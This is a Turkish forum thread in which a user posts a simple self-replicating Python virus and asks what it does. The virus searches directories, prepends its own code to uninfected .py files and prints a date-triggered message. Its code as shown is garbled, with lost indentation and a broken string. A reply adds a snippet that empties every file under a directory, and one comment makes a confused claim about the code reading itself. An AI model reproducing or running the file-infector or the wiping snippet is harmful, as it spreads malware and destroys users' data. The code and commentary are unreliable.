arkadaşlar kodlar burada ben bu yazılımı anlayamadım
<code>#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()</code>
Fonksiyon isimlerine bakarak şu anlamı çıkarıyorum:
- Dizin araştırıyor,
- Dosya veya dizin enfekte ediliyor,
- Enfekte ettiği şeyi patlatıyor.
Yaptığı şey şu şekilde;
- Öncelikle kendisine bir dizin arıyor ve buluyor. (search fonksiyonundaki os modülü ile)
- Dizini bulduktan sonra bu dizindeki oluşumu kendi ihtiyacına göre düzenliyor. (search fonksiyonundaki os modülü ile)
- Ardından virüs dosyasını oluşturuyor. (infect fonksiyonundaki bir önceki fonksyindan üretilmiş değer ile)
- Belirli bir tarih veriyor. 1. ayın 25. gününde virüs çalışsın. (bomb fonksiyonu içindeki datetime modülü ile)
Bir de yaptığı bir başka işlem var ki o da şudur;
Eğer kodu çalıştırmayıp burada sadece okursanız kod hiç çalışmadan size kendisini okutmuş oluyor. Daha önce kendi yapısını okutan bir virüs görmedim. Tebrik ederim.
3 Beğeni
Şuanlık hiçbir şey yapmıyor bu kodlar. Çünkü kodlarda hata var. Ayrıca gereksiz yere uzatılmış.
Şu kodlar ile hemen hemen aynı işi yapıyor:
import os
def recreate(path):
for dirpath, dirnames, filenames in os.walk(path):
for filename in filenames:
with open(os.path.join(dirpath, filename), "w") as f:
pass
recreate("./test")
3 Beğeni
Dizinleri araştırıp .py uzantılı dosyaları tespit ediyor ve bunların içerisine kendi kodunun 0-39 arası satırlarını yazıyor. O kadar.
Bu kodun antisi yazılabilir mi peki
aslında bu kodlar bir siteden ama o site de başka bir yerden çalmış kodları galiba çünkü çünkü internette her sitede o kodlar var insanların virüs diyince aklına o geliyor.
Bence, imkanınız varsa bir sanal makineye, Bir antivirüs bir de Python kurup;
kodu çalıştırın
1 Beğeni
haklısın bir ara python amcaya konuyu sorayım aslını öğreniyim dedim ama kodlarda hata olduğunu anlayınca bu kodları insanların daha iyi okuyabileceğini düşündüm
bu virüs işi nereden çıktı bunu bilmeyen biri tüm işleri mahvedebilir
virüs olduğu yazıyor ayrıca ben sadece bu kodun ne işe yaradığını nasıl çalıştığını sordum